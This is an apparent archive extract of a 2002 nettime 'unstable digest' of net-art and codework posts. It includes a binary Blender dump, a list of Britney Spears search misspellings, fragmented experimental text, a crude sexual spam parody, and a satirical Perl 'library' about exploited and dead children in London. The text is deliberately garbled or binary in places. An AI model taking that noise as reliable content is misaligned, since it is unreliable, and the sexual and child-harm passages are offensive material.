DATAP\nMAMaterial.003 DATAP\nTETex ;_>33 */TEXT-EJECTA/*\nTETex.001 ;_>33\nTETex.002\nTETex.003\nTETex.004 IMP9220035.JPG e:\\100OLYMP\\P9220035.JPG\nIM399.jpg e:\\trilby\\399.jpg IM191.jpg e:\\trilby2\\191.jpg\nCACamera.001 */EYE-EJECTA/*\nLALamp  */LIGHT-EJECTA/*\nLALamp.001\nLALamp.002\nLALamp.003\nLALamp.004\nLALamp.005\nLALamp.006\nLALamp.007\nLALamp.008\nLALamp.009 IPObIpo DATAP  {AT} DATAP  {AT} DATAP DATAP DATAP\nDATAP DATAP ?DATAP ?DATAP ?DATA Ak#J {AT}  BZW, {AT}  BgF {AT} ? P{1Ct- 4C^0 }4CPq 5Cmh\nDATA Bdr3 \"'BV' Wm6B \\Bh! BEye {AT}  DATA 0AO%6 B0e& {AT}  PY{Bzp C4w' L4CM 4Cu'r\nDATA seA) BHAC DATA WA\"g n7BGx BC9! B$H8= 4CO; DATA m7BR# DBl& \\B7C B6un\nDATA }#2C% M_4C1 DAC? DATA }#2C% M_4C1 DAC? DATA }#2C% M_4C1 DAC?\nIPObIpo.001 DATAP ?DATAP DATAP DATAP DATAP DATAP ADATAP ?DATAP ?DATAP\n?DATA 0A.# k]7B ,/]BQ 4C)k VvAC DATA 0AdjV yn|B C\"b4 {AT}  5Cjg DATA +\\AWE B9&2\np%^BDW Wc{B Bf`= $C-P 24*CxB 4Cy# z7Ci /qAC DATA r[YA i5BM! LU*Bs 8gB8\n~B4L B_QD 2Cp* PACV DATA ,1YA AA>! iZ-B zMAC DATA AOg#A A^NZ {AT}  Y7BU\\ BV'TA\nB[MUA BTa;A $Cu}R 6:4C|l RAC' DATA u(Bd 4Ci. K_4C DATA u(Bb 4Ci. K_4C DATA\nu(Bc 4Ci. K_4C IPObIpo.002 DATAP DATAP DATAP DATA -9\\C DATA BJBA \"\"CG DATA\nO'FB*O x#C;\nWOWorld.001 DATAP ;1?z \"C?GLOB DNA1 SDNANAME} */WORLD-EJECTA/*\nTLEN STRCt ENDB\n\n\n===\n\n\n\n\n\n\nnettime unstable digest vol 18\nFri Oct 25 19:03:12 2002\n\n\nSubject: Your Recent Email to Rhizome\n    From: Rhizome <info {AT} rhizome.org>\n\nSubject: Re: <.SNIP.>E\n    From: \".traumachine.\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: ?????????.?-??:razbiram\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: textz.com has been relaunched today\n    From: \" \" <sebastian {AT} rolux.org>\n\nSubject: \"I think today may be more amber,\"\n    From: lewis lacook <llacook {AT} YAHOO.COM>\n\nSubject: Too three immplaccabble Cootsods oof WoWar and Popeacce pPaart a(j)\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\nSubject: URBAN TEXT KULT MADDY PORTER P I C #002\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: a gift to B.B.\n    From: master_of_many_etwas {AT} o-o.lt\n\nSubject: MATERIAL-REAL\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Compuman - Hyperionics Shareware Online Purchase Registration\n    From: diocletian {AT} visi.com (Karl Petersen)\n\nSubject: shang spellchecked\n    From: sprosch vac 2 <sd {AT} DEBRIS.ORG.UK>\n\nSubject: |   || \" || 23-10-2002-14:23 |_| 126365 5\" || green|blue||||purple|||blue|||||purple|||||blue 'red ~\" || e |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: VAG.3D\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.11 2002/10/09 17:22:50 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 26 Oct 2002 05:08:31 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200210261723.g9QHNMe08588 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0210/msg00121.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 18"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00092",
                "content": "\nDate: Mon, 14 Oct 2002 17:28:43 +0300\nFrom: Alexei Shulgin <alexei {AT} easylife.org>\nSubject: http://www.google.com/jobs/britney.html\n\n488941 britney spears\n 40134 brittany spears\n 36315 brittney spears\n 24342 britany spears\n  7331 britny spears\n  6633 briteny spears\n  2696 britteny spears\n  1807 briney spears\n  1635 brittny spears\n  1479 brintey spears\n  1479 britanny spears\n  1338 britiny spears\n  1211 britnet spears\n  1096 britiney spears\n   991 britaney spears\n   991 britnay spears\n   811 brithney spears\n   811 brtiney spears\n   664 birtney spears\n   664 brintney spears\n   664 briteney spears\n   601 bitney spears\n   601 brinty spears\n   544 brittaney spears\n   544 brittnay spears\n   364 britey spears\n   364 brittiny spears\n   329 brtney spears\n   269 bretney spears\n   269 britneys spears\n   244 britne spears\n   244 brytney spears\n   220 breatney spears\n   220 britiany spears\n   199 britnney spears\n   163 britnry spears\n   147 breatny spears\n   147 brittiney spears\n   147 britty spears\n   147 brotney spears\n   147 brutney spears\n   133 britteney spears\n   133 briyney spears\n   121 bittany spears\n   121 bridney spears\n   121 britainy spears\n   121 britmey spears\n   109 brietney spears\n   109 brithny spears\n   109 britni spears\n   109 brittant spears\n    98 bittney spears\n    98 brithey spears\n    98 brittiany spears\n    98 btitney spears\n    89 brietny spears\n    89 brinety spears\n    89 brintny spears\n    89 britnie spears\n    89 brittey spears\n    89 brittnet spears\n    89 brity spears\n    89 ritney spears\n    80 bretny spears\n    80 britnany spears\n    73 brinteny spears\n    73 brittainy spears\n    73 pritney spears\n    66 brintany spears\n    66 britnery spears\n    59 briitney spears\n    59 britinay spears\n    54 britneay spears\n    54 britner spears\n    54 britney's spears\n    54 britnye spears\n    54 britt spears\n    54 brttany spears\n    48 bitany spears\n    48 briny spears\n    48 brirney spears\n    48 britant spears\n    48 britnety spears\n    48 brittanny spears\n    48 brttney spears\n    44 birttany spears\n    44 brittani spears\n    44 brityney spears\n    44 brtitney spears\n    39 brienty spears\n    39 brritney spears\n    36 bbritney spears\n    36 briitany spears\n    36 britanney spears\n    36 briterny spears\n    36 britneey spears\n    36 britnei spears\n    36 britniy spears\n    32 britbey spears\n    32 britneu spears\n     29 britent spears\n    29 brittnany spears\n    29 britttany spears\n    29 btiney spears\n    26 birttney spears\n    26 breitney spears\n    26 brinity spears\n    26 britenay spears\n    26 britneyt spears\n    26 brittan spears\n    26 brittne spears\n    26 btittany spears\n    24 beitney spears\n    24 birteny spears\n    24 brightney spears\n    24 brintiny spears\n    24 britanty spears\n    24 britenny spears\n    24 britini spears\n    24 britnwy spears\n    24 brittni spears\n    24 brittnie spears\n    21 biritney spears\n    21 birtany spears\n    21 biteny spears\n    21 bratney spears\n    21 britani spears\n    21 britanie spears\n    21 briteany spears\n    21 brittay spears\n    21 brittinay spears\n    21 brtany spears\n    21 brtiany spears\n    19 birney spears\n    19 brirtney spears\n    19 britnaey spears\n    19 britnee spears\n    19 britony spears\n    19 brittanty spears\n    19 britttney spears\n    17 birtny spears\n    17 brieny spears\n    17 brintty spears\n    17 brithy spears\n    17 brittanie spears\n    15 brinney spears\n    15 briten spears\n    15 briterney spears\n    15 britheny spears\n    15 britneny spears\n    15 brittamy spears\n    15 brittmey spears\n    15 brytnei spears\n    15 btirney spears\n    15 rittney spears\n    14 brinet spears\n    14 britneyy spears\n    14 britten spears\n    12 beritney spears\n    12 bretiny spears\n    12 briatny spears\n    12 brieney spears\n    12 brinany spears\n    12 britaany spears\n    12 britan spears\n    12 britine spears\n    12 britnea spears\n    12 britnes spears\n    12 britnez spears\n    12 britnny spears\n    12 brittenay spears\n    12 brittneys spears\n    12 brittony spears\n    12 brteny spears\n    12 btitany spears\n    12 btittney spears\n    12 btriney spears\n    12 btritney spears\n    12 rittany spears\n    11 braitney spears\n    11 brettney spears\n    11 britamy spears\n    11 britery spears\n    11 britnary spears\n    11 brittent spears\n    11 bruttney spears\n    11 pritny spears\n    10 bitaney spears\n    10 brenty spears\n    10 bristney spears\n    10 britay spears\n    10 britinny spears\n    10 brittaany spears\n    10 brittanys spears\n    10 brittini spears\n    10 brittniy spears\n    10 brtieny spears\n    10 brutany spears\n     9 bitteny spears\n     9 brinttany spears\n     9 britanay spears\n     9 britinany spears\n     9 britn spears\n     9 britnew spears\n     9 britneyn spears\n     9 britrney spears\n     9 brtiny spears\n     9 brtittney spears\n     9 brtny spears\n     9 brytny spears\n     9 rbitney spears\n     8 birtiny spears\n     8 bithney spears\n     8 brattany spears\n     8 breitny spears\n     8 breteny spears\n     8 brightny spears\n     8 brintay spears\n     8 brinttey spears\n     8 briotney spears\n     8 britanys spears\n     8 britley spears\n     8 britneyb spears\n     8 britnrey spears\n     8 britnty spears\n     8 brittner spears\n     8 brottany spears\n     7 baritney spears\n     7 birntey spears\n     7 biteney spears\n     7 bitiny spears\n     7 breateny spears\n     7 brianty spears\n     7 brintye spears\n     7 britianny spears\n     7 britly spears\n     7 britnej spears\n     7 britneyu spears\n     7 britniey spears\n     7 britnnay spears\n     7 brittian spears\n     7 briyny spears\n     7 brrittany spears\n     7 brttiney spears\n     7 btiteny spears\n     7 btrittany spears\n     6 beritny spears\n     6 bhritney spears\n     6 birthney spears\n     6 breathney spears\n     6 breaty spears\n     6 bretany spears\n     6 briatany spears\n     6 brint spears\n     6 britenney spears\n     6 britian spears\n     6 britinty spears\n     6 brititney spears\n     6 britnsy spears\n     6 britrey spears\n     6 britsny spears\n     6 brittine spears\n     6 brittnry spears\n     6 brittsny spears\n     6 brtanny spears\n     6 brtittany spears\n     6 bruttany spears\n     6 brytany spears\n     6 btitny spears\n     6 pretny spears\n     6 ritany spears\n     5 bbritany spears\n     5 bbrittney spears\n     5 biitney spears\n     5 bitny spears\n     5 breathny spears\n     5 breney spears\n     5 brethney spears\n     5 brettny spears\n     5 bridny spears\n     5 brigney spears\n     5 briittney spears\n     5 brinaty spears\n     5 brinay spears\n     5 brinetty spears\n     5 brinitty spears\n     5 brinny spears\n     5 brintery spears\n     5 britary spears\n     5 britbney spears\n     5 brithany spears\n     5 britieny spears\n     5 britiey spears\n     5 britnt spears\n     5 britnys spears\n     5 britrny spears\n     5 brittenny spears\n     5 brittnee spears\n     5 brittnt spears\n     5 brney spears\n     5 broitney spears\n     5 brotny spears\n     5 bruteny spears\n     5 btiyney spears\n     5 btrittney spears\n     5 gritney spears\n     5 spritney spears\n     4 bittny spears\n     4 bnritney spears\n     4 brandy spears\n     4 brbritney spears\n     4 breatiny spears\n     4 breetney spears\n     4 bretiney spears\n     4 brfitney spears\n     4 briattany spears\n     4 brieteny spears\n     4 briety spears\n     4 briitny spears\n     4 briittany spears\n     4 brinie spears\n     4 brinteney spears\n     4 brintne spears\n     4 britaby spears\n     4 britaey spears\n     4 britainey spears\n     4 britinie spears\n     4 britinney spears\n     4 britmney spears\n     4 britnear spears\n     4 britnel spears\n     4 britneuy spears\n     4 britnewy spears\n     4 britnmey spears\n     4 brittaby spears\n     4 brittery spears\n     4 britthey spears\n     4 brittnaey spears\n     4 brittnat spears\n     4 brittneny spears\n     4 brittnye spears\n     4 brittteny spears\n     4 briutney spears\n     4 briyeny spears\n     4 brnity spears\n     4 brtteny spears\n     4 brttiany spears\n     4 bryney spears\n     4 brythney spears\n     4 brytne spears\n     4 brytni spears\n     4 brytnie spears\n     4 bvritney spears\n     4 dritney spears\n     4 priteny spears\n     3 beittany spears\n     3 bichney spears\n     3 biritny spears\n     3 birnety spears\n     3 birny spears\n     3 birteney spears\n     3 birthny spears\n     3 birtiney spears\n     3 birtteny spears\n     3 birttny spears\n     3 bitanny spears\n     3 bitheay spears\n     3 bithey spears\n     3 bitrney spears\n     3 breinty spears\n     3 brethny spears\n     3 bretne spears\n     3 bretniy spears\n     3 brettine spears\n     3 brighty spears\n     3 brihney spears\n     3 brihtney spears\n     3 briiney spears\n     3 briitnay spears\n     3 brineny spears\n     3 brinte spears\n     3 brintiney spears\n     3 brintneey spears\n     3 brinttney spears\n     3 brirany spears\n     3 brirtny spears\n     3 brisney spears\n     3 britainny spears\n     3 britaniy spears\n     3 britanu spears\n     3 britanyy spears\n     3 britatny spears\n     3 britdney spears\n     3 britemy spears\n     3 britenty spears\n     3 brither spears\n     3 brithne spears\n     3 brititany spears\n     3 brititny spears\n     3 britiy spears\n     3 britmeny spears\n     3 britneeey spears\n     3 britnehy spears\n     3 britnely spears\n     3 britnesy spears\n     3 britnetty spears\n     3 britnex spears\n     3 britneyxxx spears\n     3 britnity spears\n     3 britntey spears\n     3 britnyey spears\n     3 britterny spears\n     3 brittneey spears\n     3 brittnney spears\n     3 brittnyey spears\n     3 brityen spears\n     3 briytney spears\n     3 brltney spears\n     3 broteny spears\n     3 brtaney spears\n     3 brtiiany spears\n     3 brtinay spears\n     3 brtinney spears\n     3 brtitany spears\n     3 brtiteny spears\n     3 brtnet spears\n     3 brytiny spears\n     3 btney spears\n     3 drittney spears\n     3 pretney spears\n     3 rbritney spears\n     2 barittany spears\n     2 bbbritney spears\n     2 bbitney spears\n     2 bbritny spears\n     2 bbrittany spears\n     2 beitany spears\n     2 beitny spears\n     2 bertney spears\n     2 bertny spears\n     2 betney spears\n     2 betny spears\n     2 bhriney spears\n     2 biney spears\n     2 bintey spears\n     2 biretny spears\n     2 biritany spears\n     2 birittany spears\n     2 birittny spears\n     2 birnty spears\n     2 birtey spears\n     2 birtheny spears\n     2 birtieny spears\n     2 birtnay spears\n     2 birtnet spears\n     2 bitnet spears\n     2 bitttany spears\n     2 bnrittany spears\n     2 bntney spears\n     2 bpitney spears\n     2 brandi spears\n     2 brattney spears\n     2 breanty spears\n     2 breany spears\n     2 breittany spears\n     2 brently spears\n     2 brentney spears\n     2 brethany spears\n     2 brethine spears\n     2 bretnty spears\n     2 bretty spears\n     2 brianey spears\n     2 briatney spears\n     2 brickney spears\n     2 bridnea spears\n     2 brieatney spears\n     2 brientny spears\n     2 brietnet spears\n     2 briettny spears\n     2 briey spears\n     2 brighney spears\n     2 brigtney spears\n     2 brigtny spears\n     2 briiny spears\n     2 brindey spears\n     2 brindy spears\n     2 bringney spears\n     2 brininy spears\n     2 brinitey spears\n     2 brinsley spears\n     2 brinthey spears\n     2 brinthy spears\n     2 brintiy spears\n     2 brintneys spears\n     2 brintry spears\n     2 brinyey spears\n     2 briottany spears\n     2 brirrany spears\n     2 brirreny spears\n     2 brirtany spears\n     2 brirttany spears\n     2 brirttney spears\n     2 britain spears\n     2 britane spears\n     2 britaneny spears\n     2 britania spears\n     2 britann spears\n     2 britanna spears\n     2 britannie spears\n     2 britannt spears\n     2 britannu spears\n     2 britanyl spears\n     2 britanyt spears\n     2 briteeny spears\n     2 britenany spears\n     2 britenet spears\n     2 briteniy spears\n     2 britenys spears\n     2 britianey spears\n     2 britin spears\n     2 britinary spears\n     2 britmy spears\n     2 britnaney spears\n     2 britnat spears\n     2 britnbey spears\n     2 britndy spears\n     2 britneh spears\n     2 britneney spears\n     2 britney6 spears\n     2 britneye spears\n     2 britneyh spears\n     2 britneym spears\n     2 britneyyy spears\n     2 britnhey spears\n     2 britnjey spears\n     2 britnne spears\n     2 britnu spears\n     2 britoney spears\n     2 britrany spears\n     2 britreny spears\n     2 britry spears\n     2 britsany spears\n     2 brittanay spears\n     2 brittang spears\n     2 brittans spears\n     2 brittanyh spears\n     2 brittanyn spears\n     2 brittany's spears\n     2 brittanyt spears\n     2 brittanyy spears\n     2 brittary spears\n     2 brittenie spears\n     2 brittenty spears\n     2 brittinney spears\n     2 brittley spears\n     2 brittn spears\n     2 brittnery spears\n     2 brittnety spears\n     2 brittney's spears\n     2 brittneyu spears\n     2 brittnsey spears\n     2 britttaney spears\n     2 britttny spears\n     2 brittyney spears\n     2 brityne spears\n     2 briyany spears\n     2 brlttney spears\n     2 brotaney spears\n     2 brotany spears\n     2 brottney spears\n     2 brriney spears\n     2 brrittney spears\n     2 brrtney spears\n     2 brthney spears\n     2 brtianny spears\n     2 brtineys spears\n     2 brtittny spears\n     2 brttiny spears\n     2 brtttany spears\n     2 brydney spears\n     2 brynty spears\n     2 brythey spears\n     2 bryttney spears\n     2 btiany spears\n     2 btirtney spears\n     2 btitiney spears\n     2 btittny spears\n     2 btritany spears\n     2 buttney spears\n     2 grittney spears\n     2 prietny spears\n     2 pritany spears\n     2 prittany spears\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nSubject: RE:TRN_(n)_AIM_feed:(a)FREQUENCY\nDate: Mon, 14 Oct 2002 22:34:37 -0600\n\n__________________were?knewSnd: < s n a p > xgrainSAT_klash.txt < B R >\n<---//!fndSND_________________.:.(n).:.searmyn_ette_earamme_(g)\ncharSet:.(cc)_pleat.(m)EASE.uRRe.mynt.DAT-R.TTTTTTTTTTTTTTTTTTTTTCHMNT'''=\n''''''''''''''\n______________[[[[[[[[ < BR > ayd.iLL.isTTiCC.aLLiTTe\n]]]]]]]]]________________________\nK-LINES.a.rnd||||||||||||||||||||||||||||||< w r y p t\n>||||||||||||||||||||||||||||||K-LINES.a.rnd\nK-LINES.a.rnd||||||||||||||||||||||||||||||< w r y p t\n>||||||||||||||||||||||||||||||K-LINES.a.rnd\nK-LINES.a.rnd||||||||||||||||||||||||||||||< w r y p t\n>||||||||||||||||||||||||||||||K-LINES.a.rnd\n=3D=3DoutteRRe=3Ddat=3DSIM=3Dn.tones.n2=3D=3D=3D=3D(n)kists.(n)tahTT-eRRe=\ns.oft.k-odes.(n)claRRiTT.ieaseRRe.oRRes.IF\n\n=3D=3D=3Dshourne_\nxgrainsetSATiLLiTTe_klassOBJ.txt_spilt=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=\n=3D=3D=3DK-Leane.n(33)_mynt^^^^\n\n///////////\"\"\"\"\"\"\"\"\"\"\"R\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"myst~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=\n~~~~syst?\\\\\\\\\\\\\\\\\\\\\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||=\n|||||||||||||||||||CRLF\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||=\n|||||||||||||CRLF\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||=\n||||||||CRLF\n|||||||||||||CRLF\n/a.pyr________________________2.nite?\n/a.bldg_______________________blk'd?\n/a.brite______________________lit?wyrthWay.\n''''''''\"_M\"__________________astNameSTAT\n=2E...........iLLeLLiTTe________(0)nd_RIA(n)iCC;aLL   =\n\na.arch^a.RRhyve_hiviCCaLL_-request {AT} paraDAT-R(m)34nTTiCCaLL/3LL.ast.wheiLL=\ningLY?wereSame.\n^^^^^^^^^^wishtwryLY_xgrainSND_klash.txt\noRRe.misstt.oRRe.ver^^^^^^^^^^^^^^^VARY:\n_________________num(b)eRRe.oRRe.x.NameSTAT________//...[sum]gnoise\n\\x.glost_________KOM_PRISE\n\\x.grainst_______KOM_PLEATE\n\\x.glost_________KOM_ANNED\n=2E....frAILLe:######################\n###################DAT-R.sent.(f)ROM:\n###################################\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(n)SRC\n--------------------------------------->|x.klist_K-LINES:\n=2E....frAILLe:######################\n###################a.(n)aimState###\n###################################\n%RTN.aLLSNDfilesFND;ast.IF:a.snd.KOM_POST_(f)ROM:.:.(r)QWEST.< ABS > entt=\ne:\n=2E....frAILLe:######################ire:STAT:\n###################autumn-frequency\n###################################\n\n\n\nDate: Wed, 16 Oct 2002 12:00:00 +0930\nFrom: _arc.hive_-request {AT} lm.va.com.au\nSubject: _arc.hive_ digest, Vol 1 #473 - 1 msg\n\nSend _arc.hive_ mailing list submissions to\n\t_arc.hive_ {AT} lm.va.com.au\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n\thttp://lm.va.com.au/mailman/listinfo/_arc.hive_\nor, via email, send a message with subject or body 'help' to\n\t_arc.hive_-request {AT} lm.va.com.au\n\nYou can reach the person managing the list at\n\t_arc.hive_-admin {AT} lm.va.com.au\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of _arc.hive_ digest...\"\n\n\nToday's Topics:\n\n   1. query:(a).DPT.ist.ova.fndSNDs (a u t u m n - f r e q u e n c y)\n\n--__--__--\n\nMessage: 1\nDate: Tue, 15 Oct 2002 21:57:36 -0600\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"(a).swerVERette.charSets\"\n <_arc.hive_ {AT} lm.va.com.au>\nSubject: [_arc.hive_] query:(a).DPT.ist.ova.fndSNDs\nReply-To: _arc.hive_ {AT} lm.va.com.au\n\nwhilst.woNNdeRRing--->2.sav.scene/cut/d.vice.(a)fndSND\ngrappLESSe/w/0\nw/0/k-names\n=2ETH10.roat:\n-----AUTH.\nINSRT\n+ADD+\n-----(N)..\ncon.CRR.ent.VER.s.i/o.ning.SYS10\n--------------------------------\nENTER___________________________\n--------------------------------\neze.a.RR< BODY.san.nfo =\n\nK-ODES.san.3g\niLL.'we'\nere\n-----TICK...\nest\nire\n-----ATED....\nsteihling.dat.selves.dat.klist.dat.kling.dat.hung.x.Names\nwhilst.'they'.sing.k-linesWide.wit.steihl.un/MOVs\nsent via VICTORIA n.coded\nclimslystck2skeinsoNNeRklive\n=2ErenAVoxelles\n-------------\n-------------\n-------a.prt+\nPATH---------\n-------------\n-------------\neRRe.bodicell\nx.prts.n.mods\nyette.n.framt\nx.k-odes.datR\nsung.ova.soft\n{{{{{{{{scALL\naiLLes]]]]]]]\nd.pth4nuLLLLL\ns.wam.x.grainstKLINES.dat.str3veRRefoldN.o.PIN.REEL\nfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIN.REELfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIN.REEfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIN.REfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIN.RfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIN.foldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PINfoldN.o.PIN.REEL2:foldN.o.PIN.REEL2:\nfoldN.o.PIfoldN.o.PIN.REEL2:\nfoldN.foldN.o.PIN.REEL2:\nfoldN.o.PIN.REEL2:\nautumn-frequency\n\n\n\n--__--__--\n\n\n\nDate:         Fri, 11 Oct 2002 07:37:01 -0400\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: Micronta\n\ntoot\n\n             suck\n\n                            sank\n\n\n\n\nsog   hab   it\n        o        o\n\n\n\n\nh ull\nent er\n\nc loud\n\n\n\n\nr at tack\ntalk ad o\nrebelAtion\n\n\n\n\nJohn M. Bennett\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-8114\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\n\nFrom: Annie copyright queen <fkbabb {AT} aol.com>\nSubject: hope you want to fuck me like donald duck\nDate: Fri, 18 Oct 2002 04:55:53 +0200\n\n\nThis is a multi-part message in MIME format\n--fad17ad2-8245-47b1-b73f-7f964430727a\n\ni am ready to by copied by a copyright cop\n\nPut your copy machine in my ....\n\n\nWaiting for you to be taken in my ass.\n\nAnnie\nDisneygirlfriend  \n--fad17ad2-8245-47b1-b73f-7f964430727a--\n\n-------------------------------------------------------\n\n\nFrom: \"W. Blake\" <W.Blake {AT} scotoma.org>\nSubject: Re: [Softwareandculture] Freezed-Dried .Trauma      [ResidualDataShearing]\nDate: Mon, 14 Oct 2002 14:35:33 +0000\n\n#   Perl Routines to Manipulate London w.blake {AT} scotoma.org\n#   London.pl, v 2.0 1792/02/23 08:16:43\n#\n#   Copyright (c) 1792-2002 William Blake  \n#   Unpublished work reconstituted W.Blake {AT} Scotoma.org.\n#   Permission granted to use and modify and append this library so long as the\n#   copyright above is maintained, modifications are documented, and\n#   credit is given for any use of the library.\n#\n#   Thanks are due to many people for reporting bugs and suggestions\n\n#   For more information, see http://www.scotoma.org\n#\n#   Grave the sentence deep. My love of London held in torment.\n#   Heavy, rains of cruelty, disguised in spectacular investments. \n#   Accumulate interest in Jealousy,Terror and Secrecy.\n#   The bloated Square mile \n#   Gifts this isle.\n#\n#   In this cities dark gates - the tree of knowledge leads to this mansion\nbuilt on misery. \n#   Here the dress code of secrecy cloaks the body in fear.\n#   This is how the propitary city gets built, \n#   Hidden in every propietry street, \n#   In every proprietary house, \n#   In every propietry possession we meet. \n#\n#   DEPENDENCIES:\n#\nuse SocialClass;\n\n#   The American war was the last judgment on England. \n#   Inoculated against the sewer. Albions Angels \n#   Rise up on wings of iron & steel spreadsheet & rule: \n#   To gift sanitation & sulphurous fire to: \n#   The wheat of Europe, \n#   The rice of Asia,\n#   The potato of America,\n#   The maize of Africa. \n#   Masacure-bloated, angels crawl from the corpse of war.\n#   Five times fatter then when they entered. \n\n#   Choking lays the sickening Leveller-republican. Caustic fumes - dusts, \n#   gust from wars - grinding wheels - mils of cruelty - mils of terror,\njealousy & secrecy. \n#   Every light ray turned to shadow and dispare. to riketts - scabies - ticks &\nlice. \n#   Until the dark sun never set on the Hanoverian empire. \n#\n#   Rise then the Leveller-republic, rise on wings of knowledge flowing in the\ndomain of the many.\n#   For heaven is more knowledge then one man can muster in a lifetime.\n#   For hell is more knowledge then one man can muster in a lifetime.\n\n\n#   This Library is for calculating the gross loss to Londons Imagination of\nchildren \n#   beaten enslaved fucked and exploited to death from 1792  to the present.\n#   We see this loss in every face marked with weakness or marked with woe. \n#   to do this we aproximate that there are 7452520 or so faces in this state\nthat live in the charter'd streets of London. \n#   Found near where the charter'd Thames does flow. \n#   \n#   DATATYPES USED:\n#\n#   These are a series of anonymous hashes;\n#   At least one is required at compile time: \n#\n\n#   The Data for the DeadChildIndex should be structured as follows:\n#\n#   %{DeadChildIndex} => {\n#       IndexValue => {\n#           Name            =>  \" Child name If known else undefined \";\n#           Age             =>  \" Must be under 14 or the code will throw an \n#                       exception due to $COMPLICITY\";\n#           Height          =>  \"Height of the child \"\n#           SocialClass         =>  \" \"\n#       }, As many as found\n#   }\n#\n    local %DeadChildIndex;\n    \n    local  {AT} SocialClasses = qw(\n                        RentBoy YoungGirl-Syphalitic-Inoculator \n                        CrackKid WarBeatenKid ForcedFeatalAbortion \n                        \n                        );\n    local  {AT} ProprietryItems = qw(\n        Shelter Food Fun Energy Land Technology Beast Fish Foul Knowledge\n    );\n\n\n    #   The Get_VitalLungCapcity routine uses the Age and Height entry of the\nDeadChildIndex \n    #   to calculate the Lung-Capcity of the dead child. This is then used to\ncalculate the \n    #   volume and capacity of screams when terrified.\n    sub Get_VitalLungCapcity{\n        my $DeadChild = shift;\n        my (\n            $VitalLungCapcity,  #  vital lung capacity in liters of air \n            $Height,            #  is height in centimeters \n            $Age,           #  is age in years \n            );\n            \n        $Height     = $DeadChild->{Height}  unless ! defined\n$DeadChild->{Height};\n        $Age    = $DeadChild->{Age}         unless ! defined $DeadChild->{Age};\n        \n        if ($Height && $Age){\n            #   Basically your vital lung capacity gets bigger as you get\ntaller, \n            #   but it gets smaller as you get older... So the person who could\nscream the most would be as tall as they're going to \n            #   get but be old enough to have just gotten there. (Probably about\n18 or 20 years old.) \n            #   This falls outside of our basic parameter of 0 to 14 years. But\nthe maths are still useful\n            $VitalLungCapcity = ((0.041 * $Height) - (0.018 * $Age)) - 2.69 ;\n            return $VitalLungCapcity;\n        }else{\n            # we may not know the height, try to guess from SocialClass \n            if(! $Height){$Height   = Get_HeightFromClass(Height =>\n$DeadChild->{SocialClass})}\n            # we may not know the Age, try to guess from SocialClass \n            if(! $Age){$Age         = Get_AgeFromClass(Age =>\n$DeadChild->{SocialClass})}\n            if($Age && $Height){\n                $VitalLungCapcity = ((0.041 * $Height) - (0.018 * $Age)) - 2.69\n;\n                return $VitalLungCapcity;\n            }else{\n            #   Approximate it\n            #   The average 6 year old child is about 120 cm tall. So $Height\n=130.0 and $Age = 6.0\n            #   Put this into our equation and we get that the VitalLungCapacity\nis about 2.1 liters. \n            #   The average 14 year old teenager is about 160 cm tall. So\nHeight=160 and Age=14. \n            #   This gives us a vital lung capacity of about 3.6 liters. \n                if($Age){\n                    $VitalLungCapcity = ((3.6) - (2.1) / 8.0) * $Age;\n                    return $VitalLungCapcity;\n                }else{\n                    $VitalLungCapcity = ((3.6) - (2.1) / 8.0) * int(rand(14)) ;\n                    return $VitalLungCapcity;\n                }\n            \n            }\n            \n        }\n    \n    \n    